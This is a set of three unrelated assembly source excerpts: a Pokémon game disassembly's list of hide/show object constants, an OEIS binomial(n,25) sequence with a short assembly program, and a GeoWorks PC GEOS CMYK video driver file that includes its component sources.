5D X const HS_VICTORY_ROAD_2F_ITEM_3 ; 5E X const HS_VICTORY_ROAD_2F_ITEM_4 ; 5F X const HS_VICTORY_ROAD_2F_BOULDER ; 60 const HS_BILL_POKEMON ; 61 const HS_BILL_1 ; 62 const HS_BILL_2 ; 63 const HS_VIRIDIAN_FOREST_ITEM_1 ; 64 X const HS_VIRIDIAN_FOREST_ITEM_2 ; 65 X const HS_VIRIDIAN_FOREST_ITEM_3 ; 66 X const HS_MT_MOON_1F_ITEM_1 ; 67 X const HS_MT_MOON_1F_ITEM_2 ; 68 X const HS_MT_MOON_1F_ITEM_3 ; 69 X const HS_MT_MOON_1F_ITEM_4 ; 6A X const HS_MT_MOON_1F_ITEM_5 ; 6B X const HS_MT_MOON_1F_ITEM_6 ; 6C X const HS_MT_MOON_B2F_FOSSIL_1 ; 6D const HS_MT_MOON_B2F_FOSSIL_2 ; 6E const HS_MT_MOON_B2F_ITEM_1 ; 6F X const HS_MT_MOON_B2F_ITEM_2 ; 70 X const HS_SS_ANNE_2F_RIVAL ; 71 const HS_SS_ANNE_1F_ROOMS_ITEM ; 72 X const HS_SS_ANNE_2F_ROOMS_ITEM_1 ; 73 X const HS_SS_ANNE_2F_ROOMS_ITEM_2 ; 74 X const HS_SS_ANNE_B1F_ROOMS_ITEM_1 ; 75 X const HS_SS_ANNE_B1F_ROOMS_ITEM_2 ; 76 X const HS_SS_ANNE_B1F_ROOMS_ITEM_3 ; 77 X const HS_VICTORY_ROAD_3F_ITEM_1 ; 78 X const HS_VICTORY_ROAD_3F_ITEM_2 ; 79 X const HS_VICTORY_ROAD_3F_BOULDER ; 7A const HS_ROCKET_HIDEOUT_B1F_ITEM_1 ; 7B X const HS_ROCKET_HIDEOUT_B1F_ITEM_2 ; 7C X const HS_ROCKET_HIDEOUT_B2F_ITEM_1 ; 7D X const HS_ROCKET_HIDEOUT_B2F_ITEM_2 ; 7E X const HS_ROCKET_HIDEOUT_B2F_ITEM_3 ; 7F X const HS_ROCKET_HIDEOUT_B2F_ITEM_4 ; 80 X const HS_ROCKET_HIDEOUT_B3F_ITEM_1 ; 81 X const HS_ROCKET_HIDEOUT_B3F_ITEM_2 ; 82 X const HS_ROCKET_HIDEOUT_B4F_GIOVANNI ; 83 const HS_ROCKET_HIDEOUT_B4F_ITEM_1 ; 84 X const HS_ROCKET_HIDEOUT_B4F_ITEM_2 ; 85 X const HS_ROCKET_HIDEOUT_B4F_ITEM_3 ; 86 X const HS_ROCKET_HIDEOUT_B4F_ITEM_4 ; 87 const HS_ROCKET_HIDEOUT_B4F_ITEM_5 ; 88 const HS_SILPH_CO_2F_1 ; 89 XXX never (de)activated? const HS_SILPH_CO_2F_2 ; 8A const HS_SILPH_CO_2F_3 ; 8B const HS_SILPH_CO_2F_4 ; 8C const HS_SILPH_CO_2F_5 ; 8D const HS_SILPH_CO_3F_1 ; 8E const HS_SILPH_CO_3F_2 ; 8F const HS_SILPH_CO_3F_ITEM ; 90 X const HS_SILPH_CO_4F_1 ; 91 const HS_SILPH_CO_4F_2 ; 92 const HS_SILPH_CO_4F_3 ; 93 const HS_SILPH_CO_4F_ITEM_1 ; 94 X const HS_SILPH_CO_4F_ITEM_2 ; 95 X const HS_SILPH_CO_4F_ITEM_3 ; 96 X const HS_SILPH_CO_5F_1 ; 97 const HS_SILPH_CO_5F_2 ; 98 const HS_SILPH_CO_5F_3 ; 99 const HS_SILPH_CO_5F_4 ; 9A const HS_SILPH_CO_5F_ITEM_1 ; 9B X const HS_SILPH_CO_5F_ITEM_2 ; 9C X const HS_SILPH_CO_5F_ITEM_3 ; 9D X const HS_SILPH_CO_6F_1 ; 9E const HS_SILPH_CO_6F_2 ; 9F const HS_SILPH_CO_6F_3 ; A0 const HS_SILPH_CO_6F_ITEM_1 ; A1 X const HS_SILPH_CO_6F_ITEM_2 ; A2 X const HS_SILPH_CO_7F_1 ; A3 const HS_SILPH_CO_7F_2 ; A4 const HS_SILPH_CO_7F_3 ; A5 const HS_SILPH_CO_7F_4 ; A6 const HS_SILPH_CO_7F_RIVAL ; A7 const HS_SILPH_CO_7F_ITEM_1 ; A8 X const HS_SILPH_CO_7F_ITEM_2 ; A9 X const HS_SILPH_CO_7F_8 ; AA XXX sprite doesn't exist const HS_SILPH_CO_8F_1 ; AB const HS_SILPH_CO_8F_2 ; AC const HS_SILPH_CO_8F_3 ; AD const HS_SILPH_CO_9F_1 ; AE const HS_SILPH_CO_9F_2 ; AF const HS_SILPH_CO_9F_3 ; B0 const HS_SILPH_CO_10F_1 ; B1 const HS_SILPH_CO_10F_2 ; B2 const HS_SILPH_CO_10F_3 ; B3 XXX never (de)activated? const HS_SILPH_CO_10F_ITEM_1 ; B4 X const HS_SILPH_CO_10F_ITEM_2 ; B5 X const HS_SILPH_CO_10F_ITEM_3 ; B6 X const HS_SILPH_CO_11F_1 ; B7 const HS_SILPH_CO_11F_2 ; B8 const HS_SILPH_CO_11F_3 ; B9 const HS_UNUSED_MAP_F4_1 ; BA XXX sprite doesn't exist const HS_POKEMON_MANSION_2F_ITEM ; BB X const HS_POKEMON_MANSION_3F_ITEM_1 ; BC X const HS_POKEMON_MANSION_3F_ITEM_2 ; BD X const HS_POKEMON_MANSION_B1F_ITEM_1 ; BE X const HS_POKEMON_MANSION_B1F_ITEM_2 ; BF X const HS_POKEMON_MANSION_B1F_ITEM_3 ; C0 X const HS_POKEMON_MANSION_B1F_ITEM_4 ; C1 X const HS_POKEMON_MANSION_B1F_ITEM_5 ; C2 X const HS_SAFARI_ZONE_EAST_ITEM_1 ; C3 X const HS_SAFARI_ZONE_EAST_ITEM_2 ; C4 X const HS_SAFARI_ZONE_EAST_ITEM_3 ; C5 X const HS_SAFARI_ZONE_EAST_ITEM_4 ; C6 X const HS_SAFARI_ZONE_NORTH_ITEM_1 ; C7 X const HS_SAFARI_ZONE_NORTH_ITEM_2 ; C8 X const HS_SAFARI_ZONE_WEST_ITEM_1 ; C9 X const HS_SAFARI_ZONE_WEST_ITEM_2 ; CA X const HS_SAFARI_ZONE_WEST_ITEM_3 ; CB X const HS_SAFARI_ZONE_WEST_ITEM_4 ; CC X const HS_SAFARI_ZONE_CENTER_ITEM ; CD X const HS_CERULEAN_CAVE_2F_ITEM_1 ; CE X const HS_CERULEAN_CAVE_2F_ITEM_2 ; CF X const HS_CERULEAN_CAVE_2F_ITEM_3 ; D0 X const HS_MEWTWO ; D1 X const HS_CERULEAN_CAVE_B1F_ITEM_1 ; D2 X const HS_CERULEAN_CAVE_B1F_ITEM_2 ; D3 X const HS_VICTORY_ROAD_1F_ITEM_1 ; D4 X const HS_VICTORY_ROAD_1F_ITEM_2 ; D5 X const HS_CHAMPIONS_ROOM_OAK ; D6 const HS_SEAFOAM_ISLANDS_1F_BOULDER_1 ; D7 const HS_SEAFOAM_ISLANDS_1F_BOULDER_2 ; D8 const HS_SEAFOAM_ISLANDS_B1F_BOULDER_1 ; D9 const HS_SEAFOAM_ISLANDS_B1F_BOULDER_2 ; DA const HS_SEAFOAM_ISLANDS_B2F_BOULDER_1 ; DB const HS_SEAFOAM_ISLANDS_B2F_BOULDER_2 ; DC const HS_SEAFOAM_ISLANDS_B3F_BOULDER_1 ; DD const HS_SEAFOAM_ISLANDS_B3F_BOULDER_2 ; DE const HS_SEAFOAM_ISLANDS_B3F_BOULDER_3 ; DF const HS_SEAFOAM_ISLANDS_B3F_BOULDER_4 ; E0 const HS_SEAFOAM_ISLANDS_B4F_BOULDER_1 ; E1 const HS_SEAFOAM_ISLANDS_B4F_BOULDER_2 ; E2 const HS_ARTICUNO ; E3 X NUM_HS_OBJECTS EQU const_value
; A010978: a(n) = binomial(n,25). ; 1,26,351,3276,23751,142506,736281,3365856,13884156,52451256,183579396,600805296,1852482996,5414950296,15084504396,40225345056,103077446706,254661927156,608359048206,1408831480056,3169870830126,6943526580276,14833897694226,30957699535776,63205303218876,126410606437752,247959266474052,477551179875952,903936161908052,1683191473897752,3085851035479212,5574440580220512,9929472283517787,17451799771031262,30284005485024837,51915437974328292,87967825456500717,147405545359541742,244382877832924467,401038568751465792,651687674221131912,1049058207282797712,1673497616379701112,2646461346833015712,4150132566624501912,6455761770304780752,9964327949818248552,15264502391210933952,23214764053299962052,35059031427432595752,52588547141148893628,78367246720143449328,116043807643289338428,170781452758048460328,249846940146033858628,363413731121503794368,525652003943603702568,756201128480271993168,1082149890756251300568,1540687980059747614368,2182641305084642453688,3077166430119331983888,4317959345490030364488,6031435276240042413888,8387464681021308981813,11613412635260273974818,16012432572858862601643,21987220846313662079868,30070757922164273138643,40965960067875966304818,55596660092117382842253,75172948856947447223328,101274667210054199731428,135957772418976870872328,181889452290252840761628,242519269720337121015504,322295345286237489770604,426936691158392518916904,563775374221979864723604,742185302773239315585504,974118209889876601705974,1274771978374406417047324,1663421971781237641756874,2164452686173176690478824,2808635033248526895978474,3634704160674564218325084,4691304207382286374814934,6039380129043862919301984,7755113120249505794103684,9933515682117344500312584,12692825593816606861510524,16179865592117872482804624,20576568198671642179218924,26107903735948965345675624,33051495155084328469525524,41749257038001257014137504,52621459391647417694902479,66183691193618401636887654,83067285885867993891195729,104043873230784153964730004 add $0,25 bin $0,25
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Video driver FILE: cmykManager.asm AUTHOR: Jim DeFrisco REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 12/91 initial version DESCRIPTION: This file contains the source for the VGA screen driver. There are a number of actual files included in this one that actually contain the actual source code. They are located in the VGA and EGA directories. The complete specification for screen drivers can be found on the system in the pcgeos spec directory (/staff/pcgeos/Spec). $Id: cmykManager.asm,v 1.1 97/04/18 11:43:07 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%} ;-------------------------------------- ; Include files ;-------------------------------------- _VideoDriver = 1 IS_CMYK = 1 MEM_CMYK = 1 IS_BITMAP = 1 VIDEO_STACK_SIZE equ 512 ; set size of local stack include vidmemGeode.def ; common includes include vidmemConstant.def ; common constants if _CMYK ; since we're going to have our own stack, we need some ; ThreadPrivateData area to be well behaved. cmykdata segment ThreadPrivateData <> cmykdata ends ; This will enable us to access the dgroup variables with ; ss:[ ] in those cases. CMYKStack segment word public 'BSS' vidStackBot label byte byte VIDEO_STACK_SIZE dup (?) endVidStack label byte CMYKStack ends endif ; if _CMYK cmykgroup group cmykdata, cmykcode, CMYKStack assume ss:cmykgroup, ds:nothing, es:nothing ;--------------------------------------------------------------------- ; Constants and Macros ;--------------------------------------------------------------------- include cmykConstant.def include vidcomConstant.def include vidmemResource.def include cmykMacro.def include dumbcomMacro.def include vidmemMacro.def include vidcomMacro.def if _CMYK ;------------------------------------------------------------------------------ ; Variables ;------------------------------------------------------------------------------ cmykcode segment resource include cmykTables.asm ; important tabular information cmykcode ends cmykdata segment resource include vidcomVariable.def include vidmemVariable.def ;include dumbcolorVariable.def include dumbcomVariable.def include cmykVariable.def cmykdata ends ;------------------------------------------------------------------------------ ; Fixed Code ;------------------------------------------------------------------------------ cmykcode segment resource include vidcomOutput.asm ; common output routines include vidcomChars.asm ; common character output routines include cmykGenChar.asm ; routines for larger chars include vidcomFont.asm ; routines for building, rotating chars include vidcomUtils.asm ; utility routines include vidcomRegion.asm ; region drawing routine include vidcomEscape.asm ; support for some escape codes include vidcomPalette.asm ; support for VidGetPixel include cmykCluster.asm ; rectangle and char low-level drawing include cmykEscTab.asm ; escape code jump table include cmykPalette.asm ; color palette table include cmykEntry.asm ; color palette table include cmykUtils.asm ; dither setting routine include cmykColor.asm ; color escape support include vidmemUtils.asm ; HugeArray related utilities cmykcode ends ;------------------------------------------------------------------------------ ; Moveable Code ;------------------------------------------------------------------------------ include vidcomPolygon.asm ; polygon drawing include vidcomLine.asm ; line drawing routine include vidcomPutLine.asm ; line drawing routine include vidcomRaster.asm ; raster primitive support include cmykDither.asm ; dither matrices include cmykColorRaster.asm ; 4-,8-,24-bit/pixel color bitmaps include cmykRaster.asm ; monochrome bitmap drawing else ; files included for the mono VidMem include cmykDither.asm ; dither matrices endif ; if _CMYK end